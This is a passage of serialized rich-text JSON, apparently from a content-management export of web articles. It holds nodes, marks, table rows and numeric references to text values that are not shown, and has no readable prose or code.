sys":67420},{"id":23679,"type":922,"linkType":923},[],{"data":67423,"content":67424,"nodeType":1458},{},[67425],{"data":67426,"marks":67427,"value":23688,"nodeType":865},{},[67428],{"type":961},{"data":67430,"content":67431,"nodeType":866},{},[67432],{"data":67433,"marks":67434,"value":23695,"nodeType":865},{},[],{"data":67436,"content":67437,"nodeType":866},{},[67438],{"data":67439,"marks":67440,"value":23702,"nodeType":865},{},[],{"data":67442,"content":67443,"nodeType":1458},{},[67444],{"data":67445,"marks":67446,"value":23710,"nodeType":865},{},[67447],{"type":961},{"data":67449,"content":67450,"nodeType":866},{},[67451],{"data":67452,"marks":67453,"value":23717,"nodeType":865},{},[],{"data":67455,"content":67456,"nodeType":1049},{},[67457,67470],{"data":67458,"content":67459,"nodeType":1003},{},[67460],{"data":67461,"content":67462,"nodeType":866},{},[67463,67467],{"data":67464,"marks":67465,"value":23731,"nodeType":865},{},[67466],{"type":961},{"data":67468,"marks":67469,"value":23735,"nodeType":865},{},[],{"data":67471,"content":67472,"nodeType":1003},{},[67473],{"data":67474,"content":67475,"nodeType":866},{},[67476,67480],{"data":67477,"marks":67478,"value":23746,"nodeType":865},{},[67479],{"type":961},{"data":67481,"marks":67482,"value":23750,"nodeType":865},{},[],{"data":67484,"content":67485,"nodeType":866},{},[67486],{"data":67487,"marks":67488,"value":23757,"nodeType":865},{},[],{"data":67490,"content":67493,"nodeType":925},{"target":67491},{"sys":67492},{"id":23762,"type":922,"linkType":923},[],{"data":67495,"content":67496,"nodeType":866},{},[67497],{"data":67498,"marks":67499,"value":23770,"nodeType":865},{},[],{"data":67501,"content":67502,"nodeType":1049},{},[67503,67516,67529],{"data":67504,"content":67505,"nodeType":1003},{},[67506],{"data":67507,"content":67508,"nodeType":866},{},[67509,67513],{"data":67510,"marks":67511,"value":23784,"nodeType":865},{},[67512],{"type":961},{"data":67514,"marks":67515,"value":23788,"nodeType":865},{},[],{"data":67517,"content":67518,"nodeType":1003},{},[67519],{"data":67520,"content":67521,"nodeType":866},{},[67522,67526],{"data":67523,"marks":67524,"value":23799,"nodeType":865},{},[67525],{"type":961},{"data":67527,"marks":67528,"value":23803,"nodeType":865},{},[],{"data":67530,"content":67531,"nodeType":1003},{},[67532],{"data":67533,"content":67534,"nodeType":866},{},[67535,67539],{"data":67536,"marks":67537,"value":23814,"nodeType":865},{},[67538],{"type":961},{"data":67540,"marks":67541,"value":23818,"nodeType":865},{},[],{"data":67543,"content":67544,"nodeType":866},{},[67545],{"data":67546,"marks":67547,"value":23825,"nodeType":865},{},[],{"data":67549,"content":67550,"nodeType":1458},{},[67551],{"data":67552,"marks":67553,"value":23833,"nodeType":865},{},[67554],{"type":961},{"data":67556,"content":67557,"nodeType":866},{},[67558],{"data":67559,"marks":67560,"value":23840,"nodeType":865},{},[],{"data":67562,"content":67565,"nodeType":925},{"target":67563},{"sys":67564},{"id":23845,"type":922,"linkType":923},[],{"data":67567,"content":67568,"nodeType":866},{},[67569],{"data":67570,"marks":67571,"value":23853,"nodeType":865},{},[],{"data":67573,"content":67574,"nodeType":866},{},[67575],{"data":67576,"marks":67577,"value":23860,"nodeType":865},{},[],{"data":67579,"content":67582,"nodeType":925},{"target":67580},{"sys":67581},{"id":23865,"type":922,"linkType":923},[],{"data":67584,"content":67585,"nodeType":866},{},[67586],{"data":67587,"marks":67588,"value":23873,"nodeType":865},{},[],{"data":67590,"content":67591,"nodeType":1049},{},[67592,67605],{"data":67593,"content":67594,"nodeType":1003},{},[67595],{"data":67596,"content":67597,"nodeType":866},{},[67598,67602],{"data":67599,"marks":67600,"value":23887,"nodeType":865},{},[67601],{"type":961},{"data":67603,"marks":67604,"value":23891,"nodeType":865},{},[],{"data":67606,"content":67607,"nodeType":1003},{},[67608],{"data":67609,"content":67610,"nodeType":866},{},[67611,67615],{"data":67612,"marks":67613,"value":23902,"nodeType":865},{},[67614],{"type":961},{"data":67616,"marks":67617,"value":23906,"nodeType":865},{},[],{"data":67619,"content":67620,"nodeType":866},{},[67621],{"data":67622,"marks":67623,"value":23913,"nodeType":865},{},[],{"data":67625,"content":67628,"nodeType":925},{"target":67626},{"sys":67627},{"id":23918,"type":922,"linkType":923},[],{"data":67630,"content":67631,"nodeType":953},{},[],{"data":67633,"content":67634,"nodeType":963},{},[67635],{"data":67636,"marks":67637,"value":23930,"nodeType":865},{},[67638],{"type":961},{"data":67640,"content":67641,"nodeType":866},{},[67642],{"data":67643,"marks":67644,"value":23937,"nodeType":865},{},[],{"data":67646,"content":67647,"nodeType":866},{},[67648],{"data":67649,"marks":67650,"value":23944,"nodeType":865},{},[],{"data":67652,"content":67653,"nodeType":866},{},[67654],{"data":67655,"marks":67656,"value":23951,"nodeType":865},{},[],{"data":67658,"content":67661,"nodeType":925},{"target":67659},{"sys":67660},{"id":11042,"type":922,"linkType":923},[],{"data":67663,"content":67664,"nodeType":866},{},[67665],{"data":67666,"marks":67667,"value":23963,"nodeType":865},{},[],{"data":67669,"content":67670,"nodeType":866},{},[67671],{"data":67672,"marks":67673,"value":23970,"nodeType":865},{},[],{"data":67675,"content":67678,"nodeType":925},{"target":67676},{"sys":67677},{"id":23975,"type":922,"linkType":923},[],{"data":67680,"content":67681,"nodeType":866},{},[67682],{"data":67683,"marks":67684,"value":23983,"nodeType":865},{},[],{"data":67686,"content":67689,"nodeType":925},{"target":67687},{"sys":67688},{"id":23988,"type":922,"linkType":923},[],{"data":67691,"content":67692,"nodeType":866},{},[67693],{"data":67694,"marks":67695,"value":23996,"nodeType":865},{},[],{"data":67697,"content":67700,"nodeType":925},{"target":67698},{"sys":67699},{"id":24001,"type":922,"linkType":923},[],{"data":67702,"content":67703,"nodeType":866},{},[67704],{"data":67705,"marks":67706,"value":24009,"nodeType":865},{},[],{"data":67708,"content":67709,"nodeType":866},{},[67710],{"data":67711,"marks":67712,"value":24016,"nodeType":865},{},[],{"data":67714,"content":67715,"nodeType":953},{},[],{"data":67717,"content":67718,"nodeType":963},{},[67719],{"data":67720,"marks":67721,"value":24027,"nodeType":865},{},[67722],{"type":961},{"data":67724,"content":67725,"nodeType":866},{},[67726,67729,67733],{"data":67727,"marks":67728,"value":24034,"nodeType":865},{},[],{"data":67730,"marks":67731,"value":24039,"nodeType":865},{},[67732],{"type":961},{"data":67734,"marks":67735,"value":24043,"nodeType":865},{},[],{"data":67737,"content":67738,"nodeType":1458},{},[67739],{"data":67740,"marks":67741,"value":24050,"nodeType":865},{},[],{"data":67743,"content":67744,"nodeType":866},{},[67745,67748,67755],{"data":67746,"marks":67747,"value":24057,"nodeType":865},{},[],{"data":67749,"content":67750,"nodeType":882},{"uri":24060},[67751],{"data":67752,"marks":67753,"value":24066,"nodeType":865},{},[67754],{"type":997},{"data":67756,"marks":67757,"value":24070,"nodeType":865},{},[],{"data":67759,"content":67760,"nodeType":2396},{},[67761,67784,67811,67832,67877,67916,67937,67958],{"data":67762,"content":67763,"nodeType":1869},{},[67764,67774],{"data":67765,"content":67766,"nodeType":1835},{},[67767],{"data":67768,"content":67769,"nodeType":866},{},[67770],{"data":67771,"marks":67772,"value":24087,"nodeType":865},{},[67773],{"type":961},{"data":67775,"content":67776,"nodeType":1835},{},[67777],{"data":67778,"content":67779,"nodeType":866},{},[67780],{"data":67781,"marks":67782,"value":23584,"nodeType":865},{},[67783],{"type":961},{"data":67785,"content":67786,"nodeType":1869},{},[67787,67796],{"data":67788,"content":67789,"nodeType":1835},{},[67790],{"data":67791,"content":67792,"nodeType":866},{},[67793],{"data":67794,"marks":67795,"value":23612,"nodeType":865},{},[],{"data":67797,"content":67798,"nodeType":1835},{},[67799,67805],{"data":67800,"content":67801,"nodeType":866},{},[67802],{"data":67803,"marks":67804,"value":24119,"nodeType":865},{},[],{"data":67806,"content":67807,"nodeType":866},{},[67808],{"data":67809,"marks":67810,"value":24126,"nodeType":865},{},[],{"data":67812,"content":67813,"nodeType":1869},{},[67814,67823],{"data":67815,"content":67816,"nodeType":1835},{},[67817],{"data":67818,"content":67819,"nodeType":866},{},[67820],{"data":67821,"marks":67822,"value":24139,"nodeType":865},{},[],{"data":67824,"content":67825,"nodeType":1835},{},[67826],{"data":67827,"content":67828,"nodeType":866},{},[67829],{"data":67830,"marks":67831,"value":24149,"nodeType":865},{},[],{"data":67833,"content":67834,"nodeType":1869},{},[67835,67844],{"data":67836,"content":67837,"nodeType":1835},{},[67838],{"data":67839,"content":67840,"nodeType":866},{},[67841],{"data":67842,"marks":67843,"value":24162,"nodeType":865},{},[],{"data":67845,"content":67846,"nodeType":1835},{},[67847,67853,67859,67865,67871],{"data":67848,"content":67849,"nodeType":866},{},[67850],{"data":67851,"marks":67852,"value":24172,"nodeType":865},{},[],{"data":67854,"content":67855,"nodeType":866},{},[67856],{"data":67857,"marks":67858,"value":24179,"nodeType":865},{},[],{"data":67860,"content":67861,"nodeType":866},{},[67862],{"data":67863,"marks":67864,"value":24186,"nodeType":865},{},[],{"data":67866,"content":67867,"nodeType":866},{},[67868],{"data":67869,"marks":67870,"value":24193,"nodeType":865},{},[],{"data":67872,"content":67873,"nodeType":866},{},[67874],{"data":67875,"marks":67876,"value":24200,"nodeType":865},{},[],{"data":67878,"content":67879,"nodeType":1869},{},[67880,67889],{"data":67881,"content":67882,"nodeType":1835},{},[67883],{"data":67884,"content":67885,"nodeType":866},{},[67886],{"data":67887,"marks":67888,"value":24213,"nodeType":865},{},[],{"data":67890,"content":67891,"nodeType":1835},{},[67892,67898,67904,67910],{"data":67893,"content":67894,"nodeType":866},{},[67895],{"data":67896,"marks":67897,"value":24223,"nodeType":865},{},[],{"data":67899,"content":67900,"nodeType":866},{},[67901],{"data":67902,"marks":67903,"value":24230,"nodeType":865},{},[],{"data":67905,"content":67906,"nodeType":866},{},[67907],{"data":67908,"marks":67909,"value":24237,"nodeType":865},{},[],{"data":67911,"content":67912,"nodeType":866},{},[67913],{"data":67914,"marks":67915,"value":24244,"nodeType":865},{},[],{"data":67917,"content":67918,"nodeType":1869},{},[67919,67928],{"data":67920,"content":67921,"nodeType":1835},{},[67922],{"data":67923,"content":67924,"nodeType":866},{},[67925],{"data":67926,"marks":67927,"value":24257,"nodeType":865},{},[],{"data":67929,"content":67930,"nodeType":1835},{},[67931],{"data":67932,"content":67933,"nodeType":866},{},[67934],{"data":67935,"marks":67936,"value":24267,"nodeType":865},{},[],{"data":67938,"content":67939,"nodeType":1869},{},[67940,67949],{"data":67941,"content":67942,"nodeType":1835},{},[67943],{"data":67944,"content":67945,"nodeType":866},{},[67946],{"data":67947,"marks":67948,"value":24280,"nodeType":865},{},[],{"data":67950,"content":67951,"nodeType":1835},{},[67952],{"data":67953,"content":67954,"nodeType":866},{},[67955],{"data":67956,"marks":67957,"value":24290,"nodeType":865},{},[],{"data":67959,"content":67960,"nodeType":1869},{},[67961,67970],{"data":67962,"content":67963,"nodeType":1835},{},[67964],{"data":67965,"content":67966,"nodeType":866},{},[67967],{"data":67968,"marks":67969,"value":24303,"nodeType":865},{},[],{"data":67971,"content":67972,"nodeType":1835},{},[67973],{"data":67974,"content":67975,"nodeType":866},{},[67976],{"data":67977,"marks":67978,"value":24313,"nodeType":865},{},[],{"data":67980,"content":67981,"nodeType":1458},{},[67982],{"data":67983,"marks":67984,"value":24320,"nodeType":865},{},[],{"data":67986,"content":67987,"nodeType":866},{},[67988,67991,67998,68001,68008],{"data":67989,"marks":67990,"value":24327,"nodeType":865},{},[],{"data":67992,"content":67993,"nodeType":882},{"uri":24060},[67994],{"data":67995,"marks":67996,"value":24335,"nodeType":865},{},[67997],{"type":997},{"data":67999,"marks":68000,"value":10349,"nodeType":865},{},[],{"data":68002,"content":68003,"nodeType":882},{"uri":24341},[68004],{"data":68005,"marks":68006,"value":24347,"nodeType":865},{},[68007],{"type":997},{"data":68009,"marks":68010,"value":24351,"nodeType":865},{},[],{"data":68012,"content":68013,"nodeType":2396},{},[68014,68037,68076,68097,68130,68169,68190,68211],{"data":68015,"content":68016,"nodeType":1869},{},[68017,68027],{"data":68018,"content":68019,"nodeType":1835},{},[68020],{"data":68021,"content":68022,"nodeType":866},{},[68023],{"data":68024,"marks":68025,"value":24087,"nodeType":865},{},[68026],{"type":961},{"data":68028,"content":68029,"nodeType":1835},{},[68030],{"data":68031,"content":68032,"nodeType":866},{},[68033],{"data":68034,"marks":68035,"value":23710,"nodeType":865},{},[68036],{"type":961},{"data":68038,"content":68039,"nodeType":1869},{},[68040,68049],{"data":68041,"content":68042,"nodeType":1835},{},[68043],{"data":68044,"content":68045,"nodeType":866},{},[68046],{"data":68047,"marks":68048,"value":23612,"nodeType":865},{},[],{"data":68050,"content":68051,"nodeType":1835},{},[68052,68058,68064,68070],{"data":68053,"content":68054,"nodeType":866},{},[68055],{"data":68056,"marks":68057,"value":24399,"nodeType":865},{},[],{"data":68059,"content":68060,"nodeType":866},{},[68061],{"data":68062,"marks":68063,"value":24406,"nodeType":865},{},[],{"data":68065,"content":68066,"nodeType":866},{},[68067],{"data":68068,"marks":68069,"value":24413,"nodeType":865},{},[],{"data":68071,"content":68072,"nodeType":866},{},[68073],{"data":68074,"marks":68075,"value":24420,"nodeType":865},{},[],{"data":68077,"content":68078,"nodeType":1869},{},[68079,68088],{"data":68080,"content":68081,"nodeType":1835},{},[68082],{"data":68083,"content":68084,"nodeType":866},{},[68085],{"data":68086,"marks":68087,"value":24139,"nodeType":865},{},[],{"data":68089,"content":68090,"nodeType":1835},{},[68091],{"data":68092,"content":68093,"nodeType":866},{},[68094],{"data":68095,"marks":68096,"value":24442,"nodeType":865},{},[],{"data":68098,"content":68099,"nodeType":1869},{},[68100,68109],{"data":68101,"content":68102,"nodeType":1835},{},[68103],{"data":68104,"content":68105,"nodeType":866},{},[68106],{"data":68107,"marks":68108,"value":24162,"nodeType":865},{},[],{"data":68110,"content":68111,"nodeType":1835},{},[68112,68118,68124],{"data":68113,"content":68114,"nodeType":866},{},[68115],{"data":68116,"marks":68117,"value":24464,"nodeType":865},{},[],{"data":68119,"content":68120,"nodeType":866},{},[68121],{"data":68122,"marks":68123,"value":24471,"nodeType":865},{},[],{"data":68125,"content":68126,"nodeType":866},{},[68127],{"data":68128,"marks":68129,"value":24200,"nodeType":865},{},[],{"data":68131,"content":68132,"nodeType":1869},{},[68133,68142],{"data":68134,"content":68135,"nodeType":1835},{},[68136],{"data":68137,"content":68138,"nodeType":866},{},[68139],{"data":68140,"marks":68141,"value":24213,"nodeType":865},{},[],{"data":68143,"content":68144,"nodeType":1835},{},[68145,68151,68157,68163],{"data":68146,"content":68147,"nodeType":866},{},[68148],{"data":68149,"marks":68150,"value":24499,"nodeType":865},{},[],{"data":68152,"content":68153,"nodeType":866},{},[68154],{"data":68155,"marks":68156,"value":24506,"nodeType":865},{},[],{"data":68158,"content":68159,"nodeType":866},{},[68160],{"data":68161,"marks":68162,"value":24513,"nodeType":865},{},[],{"data":68164,"content":68165,"nodeType":866},{},[68166],{"data":68167,"marks":68168,"value":24520,"nodeType":865},{},[],{"data":68170,"content":68171,"nodeType":1869},{},[68172,68181],{"data":68173,"content":68174,"nodeType":1835},{},[68175],{"data":68176,"content":68177,"nodeType":866},{},[68178],{"data":68179,"marks":68180,"value":24257,"nodeType":865},{},[],{"data":68182,"content":68183,"nodeType":1835},{},[68184],{"data":68185,"content":68186,"nodeType":866},{},[68187],{"data":68188,"marks":68189,"value":24542,"nodeType":865},{},[],{"data":68191,"content":68192,"nodeType":1869},{},[68193,68202],{"data":68194,"content":68195,"nodeType":1835},{},[68196],{"data":68197,"content":68198,"nodeType":866},{},[68199],{"data":68200,"marks":68201,"value":24280,"nodeType":865},{},[],{"data":68203,"content":68204,"nodeType":1835},{},[68205],{"data":68206,"content":68207,"nodeType":866},{},[68208],{"data":68209,"marks":68210,"value":24564,"nodeType":865},{},[],{"data":68212,"content":68213,"nodeType":1869},{},[68214,68223],{"data":68215,"content":68216,"nodeType":1835},{},[68217],{"data":68218,"content":68219,"nodeType":866},{},[68220],{"data":68221,"marks":68222,"value":24303,"nodeType":865},{},[],{"data":68224,"content":68225,"nodeType":1835},{},[68226],{"data":68227,"content":68228,"nodeType":866},{},[68229],{"data":68230,"marks":68231,"value":24586,"nodeType":865},{},[],{"data":68233,"content":68234,"nodeType":1458},{},[68235],{"data":68236,"marks":68237,"value":24593,"nodeType":865},{},[],{"data":68239,"content":68240,"nodeType":866},{},[68241],{"data":68242,"marks":68243,"value":24600,"nodeType":865},{},[],{"data":68245,"content":68246,"nodeType":2396},{},[68247,68270,68291,68312,68333,68372,68393,68414],{"data":68248,"content":68249,"nodeType":1869},{},[68250,68260],{"data":68251,"content":68252,"nodeType":1835},{},[68253],{"data":68254,"content":68255,"nodeType":866},{},[68256],{"data":68257,"marks":68258,"value":24087,"nodeType":865},{},[68259],{"type":961},{"data":68261,"content":68262,"nodeType":1835},{},[68263],{"data":68264,"content":68265,"nodeType":866},{},[68266],{"data":68267,"marks":68268,"value":24627,"nodeType":865},{},[68269],{"type":961},{"data":68271,"content":68272,"nodeType":1869},{},[68273,68282],{"data":68274,"content":68275,"nodeType":1835},{},[68276],{"data":68277,"content":68278,"nodeType":866},{},[68279],{"data":68280,"marks":68281,"value":23612,"nodeType":865},{},[],{"data":68283,"content":68284,"nodeType":1835},{},[68285],{"data":68286,"content":68287,"nodeType":866},{},[68288],{"data":68289,"marks":68290,"value":24649,"nodeType":865},{},[],{"data":68292,"content":68293,"nodeType":1869},{},[68294,68303],{"data":68295,"content":68296,"nodeType":1835},{},[68297],{"data":68298,"content":68299,"nodeType":866},{},[68300],{"data":68301,"marks":68302,"value":24139,"nodeType":865},{},[],{"data":68304,"content":68305,"nodeType":1835},{},[68306],{"data":68307,"content":68308,"nodeType":866},{},[68309],{"data":68310,"marks":68311,"value":24671,"nodeType":865},{},[],{"data":68313,"content":68314,"nodeType":1869},{},[68315,68324],{"data":68316,"content":68317,"nodeType":1835},{},[68318],{"data":68319,"content":68320,"nodeType":866},{},[68321],{"data":68322,"marks":68323,"value":24162,"nodeType":865},{},[],{"data":68325,"content":68326,"nodeType":1835},{},[68327],{"data":68328,"content":68329,"nodeType":866},{},[68330],{"data":68331,"marks":68332,"value":24693,"nodeType":865},{},[],{"data":68334,"content":68335,"nodeType":1869},{},[68336,68345],{"data":68337,"content":68338,"nodeType":1835},{},[68339],{"data":68340,"content":68341,"nodeType":866},{},[68342],{"data":68343,"marks":68344,"value":24213,"nodeType":865},{},[],{"data":68346,"content":68347,"nodeType":1835},{},[68348,68354,68360,68366],{"data":68349,"content":68350,"nodeType":866},{},[68351],{"data":68352,"marks":68353,"value":24715,"nodeType":865},{},[],{"data":68355,"content":68356,"nodeType":866},{},[68357],{"data":68358,"marks":68359,"value":24722,"nodeType":865},{},[],{"data":68361,"content":68362,"nodeType":866},{},[68363],{"data":68364,"marks":68365,"value":24729,"nodeType":865},{},[],{"data":68367,"content":68368,"nodeType":866},{},[68369],{"data":68370,"marks":68371,"value":24736,"nodeType":865},{},[],{"data":68373,"content":68374,"nodeType":1869},{},[68375,68384],{"data":68376,"content":68377,"nodeType":1835},{},[68378],{"data":68379,"content":68380,"nodeType":866},{},[68381],{"data":68382,"marks":68383,"value":24257,"nodeType":865},{},[],{"data":68385,"content":68386,"nodeType":1835},{},[68387],{"data":68388,"content":68389,"nodeType":866},{},[68390],{"data":68391,"marks":68392,"value":24542,"nodeType":865},{},[],{"data":68394,"content":68395,"nodeType":1869},{},[68396,68405],{"data":68397,"content":68398,"nodeType":1835},{},[68399],{"data":68400,"content":68401,"nodeType":866},{},[68402],{"data":68403,"marks":68404,"value":24280,"nodeType":865},{},[],{"data":68406,"content":68407,"nodeType":1835},{},[68408],{"data":68409,"content":68410,"nodeType":866},{},[68411],{"data":68412,"marks":68413,"value":24779,"nodeType":865},{},[],{"data":68415,"content":68416,"nodeType":1869},{},[68417,68426],{"data":68418,"content":68419,"nodeType":1835},{},[68420],{"data":68421,"content":68422,"nodeType":866},{},[68423],{"data":68424,"marks":68425,"value":24303,"nodeType":865},{},[],{"data":68427,"content":68428,"nodeType":1835},{},[68429],{"data":68430,"content":68431,"nodeType":866},{},[68432],{"data":68433,"marks":68434,"value":24801,"nodeType":865},{},[],{"data":68436,"content":68437,"nodeType":1458},{},[68438],{"data":68439,"marks":68440,"value":24808,"nodeType":865},{},[],{"data":68442,"content":68443,"nodeType":2396},{},[68444,68467,68488,68509,68530,68557,68578,68599],{"data":68445,"content":68446,"nodeType":1869},{},[68447,68457],{"data":68448,"content":68449,"nodeType":1835},{},[68450],{"data":68451,"content":68452,"nodeType":866},{},[68453],{"data":68454,"marks":68455,"value":24087,"nodeType":865},{},[68456],{"type":961},{"data":68458,"content":68459,"nodeType":1835},{},[68460],{"data":68461,"content":68462,"nodeType":866},{},[68463],{"data":68464,"marks":68465,"value":24835,"nodeType":865},{},[68466],{"type":961},{"data":68468,"content":68469,"nodeType":1869},{},[68470,68479],{"data":68471,"content":68472,"nodeType":1835},{},[68473],{"data":68474,"content":68475,"nodeType":866},{},[68476],{"data":68477,"marks":68478,"value":23612,"nodeType":865},{},[],{"data":68480,"content":68481,"nodeType":1835},{},[68482],{"data":68483,"content":68484,"nodeType":866},{},[68485],{"data":68486,"marks":68487,"value":24857,"nodeType":865},{},[],{"data":68489,"content":68490,"nodeType":1869},{},[68491,68500],{"data":68492,"content":68493,"nodeType":1835},{},[68494],{"data":68495,"content":68496,"nodeType":866},{},[68497],{"data":68498,"marks":68499,"value":24139,"nodeType":865},{},[],{"data":68501,"content":68502,"nodeType":1835},{},[68503],{"data":68504,"content":68505,"nodeType":866},{},[68506],{"data":68507,"marks":68508,"value":24879,"nodeType":865},{},[],{"data":68510,"content":68511,"nodeType":1869},{},[68512,68521],{"data":68513,"content":68514,"nodeType":1835},{},[68515],{"data":68516,"content":68517,"nodeType":866},{},[68518],{"data":68519,"marks":68520,"value":24162,"nodeType":865},{},[],{"data":68522,"content":68523,"nodeType":1835},{},[68524],{"data":68525,"content":68526,"nodeType":866},{},[68527],{"data":68528,"marks":68529,"value":24901,"nodeType":865},{},[],{"data":68531,"content":68532,"nodeType":1869},{},[68533,68542],{"data":68534,"content":68535,"nodeType":1835},{},[68536],{"data":68537,"content":68538,"nodeType":866},{},[68539],{"data":68540,"marks":68541,"value":24213,"nodeType":865},{},[],{"data":68543,"content":68544,"nodeType":1835},{},[68545,68551],{"data":68546,"content":68547,"nodeType":866},{},[68548],{"data":68549,"marks":68550,"value":24923,"nodeType":865},{},[],{"data":68552,"content":68553,"nodeType":866},{},[68554],{"data":68555,"marks":68556,"value":24930,"nodeType":865},{},[],{"data":68558,"content":68559,"nodeType":1869},{},[68560,68569],{"data":68561,"content":68562,"nodeType":1835},{},[68563],{"data":68564,"content":68565,"nodeType":866},{},[68566],{"data":68567,"marks":68568,"value":24257,"nodeType":865},{},[],{"data":68570,"content":68571,"nodeType":1835},{},[68572],{"data":68573,"content":68574,"nodeType":866},{},[68575],{"data":68576,"marks":68577,"value":24267,"nodeType":865},{},[],{"data":68579,"content":68580,"nodeType":1869},{},[68581,68590],{"data":68582,"content":68583,"nodeType":1835},{},[68584],{"data":68585,"content":68586,"nodeType":866},{},[68587],{"data":68588,"marks":68589,"value":24280,"nodeType":865},{},[],{"data":68591,"content":68592,"nodeType":1835},{},[68593],{"data":68594,"content":68595,"nodeType":866},{},[68596],{"data":68597,"marks":68598,"value":24779,"nodeType":865},{},[],{"data":68600,"content":68601,"nodeType":1869},{},[68602,68611],{"data":68603,"content":68604,"nodeType":1835},{},[68605],{"data":68606,"content":68607,"nodeType":866},{},[68608],{"data":68609,"marks":68610,"value":24303,"nodeType":865},{},[],{"data":68612,"content":68613,"nodeType":1835},{},[68614],{"data":68615,"content":68616,"nodeType":866},{},[68617],{"data":68618,"marks":68619,"value":24801,"nodeType":865},{},[],{"data":68621,"content":68622,"nodeType":953},{},[],{"data":68624,"content":68625,"nodeType":963},{},[68626],{"data":68627,"marks":68628,"value":25004,"nodeType":865},{},[68629],{"type":961},{"data":68631,"content":68632,"nodeType":866},{},[68633],{"data":68634,"marks":68635,"value":25011,"nodeType":865},{},[],{"data":68637,"content":68638,"nodeType":866},{},[68639],{"data":68640,"marks":68641,"value":25018,"nodeType":865},{},[],{"data":68643,"content":68644,"nodeType":866},{},[68645,68649],{"data":68646,"marks":68647,"value":25026,"nodeType":865},{},[68648],{"type":961},{"data":68650,"marks":68651,"value":25030,"nodeType":865},{},[],{"data":68653,"content":68654,"nodeType":953},{},[],{"data":68656,"content":68657,"nodeType":963},{},[68658],{"data":68659,"marks":68660,"value":13747,"nodeType":865},{},[68661],{"type":961},{"data":68663,"content":68664,"nodeType":866},{},[68665,68668,68674],{"data":68666,"marks":68667,"value":25047,"nodeType":865},{},[],{"data":68669,"content":68670,"nodeType":882},{"uri":13757},[68671],{"data":68672,"marks":68673,"value":13762,"nodeType":865},{},[],{"data":68675,"marks":68676,"value":25057,"nodeType":865},{},[],{"data":68678,"content":68679,"nodeType":866},{},[68680,68683,68689],{"data":68681,"marks":68682,"value":21,"nodeType":865},{},[],{"data":68684,"content":68685,"nodeType":882},{"uri":25066},[68686],{"data":68687,"marks":68688,"value":25071,"nodeType":865},{},[],{"data":68690,"marks":68691,"value":21,"nodeType":865},{},[],{"data":68693,"content":68694,"nodeType":866},{},[68695],{"data":68696,"marks":68697,"value":13704,"nodeType":865},{},[68698],{"type":961},{"data":68700,"content":68701,"nodeType":953},{},[],{"data":68703,"content":68704,"nodeType":963},{},[68705],{"data":68706,"marks":68707,"value":1704,"nodeType":865},{},[68708],{"type":961},{"data":68710,"content":68711,"nodeType":866},{},[68712,68715,68721],{"data":68713,"marks":68714,"value":25098,"nodeType":865},{},[],{"data":68716,"content":68717,"nodeType":882},{"uri":1728},[68718],{"data":68719,"marks":68720,"value":1734,"nodeType":865},{},[],{"data":68722,"marks":68723,"value":1738,"nodeType":865},{},[],{"items":68725},[68726,68728],{"sys":68727,"name":11426},{"id":11425},{"sys":68729,"name":342},{"id":8410},{"items":68731},[68732],{"fullName":25121,"firstName":25122,"jobTitle":11432,"profilePicture":68733},{"url":25124},{"__typename":1788,"sys":68735,"content":68736,"title":64436,"synopsis":64437,"hashTags":59,"publishedDate":64438,"slug":64439,"tagsCollection":69372,"authorsCollection":69378},{"id":63694},{"json":68737},{"data":68738,"content":68739,"nodeType":1739},{},[68740,68763,68789,68795,68800,68803,68810,68816,68821,68836,68842,68849,68865,68878,68884,68890,68893,68900,68906,68912,68967,68973,68980,68990,68996,69002,69007,69014,69020,69026,69032,69038,69043,69050,69056,69127,69132,69135,69142,69148,69161,69167,69173,69178,69194,69197,69204,69210,69215,69231,69237,69243,69248,69251,69258,69264,69270,69275,69281,69286,69291,69311,69316,69326,69332,69338],{"data":68741,"content":68742,"nodeType":866},{},[68743,68746,68753,68756,68760],{"data":68744,"marks":68745,"value":63705,"nodeType":865},{},[],{"data":68747,"content":68748,"nodeType":882},{"uri":8759},[68749],{"data":68750,"marks":68751,"value":63713,"nodeType":865},{},[68752],{"type":997},{"data":68754,"marks":68755,"value":63717,"nodeType":865},{},[],{"data":68757,"marks":68758,"value":63722,"nodeType":865},{},[68759],{"type":961},{"data":68761,"marks":68762,"value":22525,"nodeType":865},{},[],{"data":68764,"content":68765,"nodeType":866},{},[68766,68769,68776,68779,68786],{"data":68767,"marks":68768,"value":63732,"nodeType":865},{},[],{"data":68770,"content":68771,"nodeType":882},{"uri":63735},[68772],{"data":68773,"marks":68774,"value":63741,"nodeType":865},{},[68775],{"type":997},{"data":68777,"marks":68778,"value":63745,"nodeType":865},{},[],{"data":68780,"content":68781,"nodeType":882},{"uri":35946},[68782],{"data":68783,"marks":68784,"value":63753,"nodeType":865},{},[68785],{"type":997},{"data":68787,"marks":68788,"value":63757,"nodeType":865},{},[],{"data":68790,"content":68791,"nodeType":866},{},[68792],{"data":68793,"marks":68794,"value":63764,"nodeType":865},{},[],{"data":68796,"content":68799,"nodeType":925},{"target":68797},{"sys":68798},{"id":63769,"type":922,"linkType":923},[],{"data":68801,"content":68802,"nodeType":953},{},[],{"data":68804,"content":68805,"nodeType":963},{},[68806],{"data":68807,"marks":68808,"value":63781,"nodeType":865},{},[68809],{"type":961},{"data":68811,"content":68812,"nodeType":866},{},[68813],{"data":68814,"marks":68815,"value":63788,"nodeType":865},{},[],{"data":68817,"content":68820,"nodeType":925},{"target":68818},{"sys":68819},{"id":63793,"type":922,"linkType":923},[],{"data":68822,"content":68823,"nodeType":866},{},[68824,68827,68833],{"data":68825,"marks":68826,"value":63801,"nodeType":865},{},[],{"data":68828,"content":68829,"nodeType":882},{"uri":63804},[68830],{"data":68831,"marks":68832,"value":63809,"nodeType":865},{},[],{"data":68834,"marks":68835,"value":63813,"nodeType":865},{},[],{"data":68837,"content":68838,"nodeType":866},{},[68839],{"data":68840,"marks":68841,"value":63820,"nodeType":865},{},[],{"data":68843,"content":68844,"nodeType":1458},{},[68845],{"data":68846,"marks":68847,"value":63828,"nodeType":865},{},[68848],{"type":961},{"data":68850,"content":68851,"nodeType":866},{},[68852,68855,68862],{"data":68853,"marks":68854,"value":63835,"nodeType":865},{},[],{"data":68856,"content":68857,"nodeType":882},{"uri":63838},[68858],{"data":68859,"marks":68860,"value":63844,"nodeType":865},{},[68861],{"type":997},{"data":68863,"marks":68864,"value":63848,"nodeType":865},{},[],{"data":68866,"content":68867,"nodeType":866},{},[68868,68871,68875],{"data":68869,"marks":68870,"value":63855,"nodeType":865},{},[],{"data":68872,"marks":68873,"value":63860,"nodeType":865},{},[68874],{"type":944},{"data":68876,"marks":68877,"value":63864,"nodeType":865},{},[],{"data":68879,"content":68880,"nodeType":866},{},[68881],{"data":68882,"marks":68883,"value":63871,"nodeType":865},{},[],{"data":68885,"cont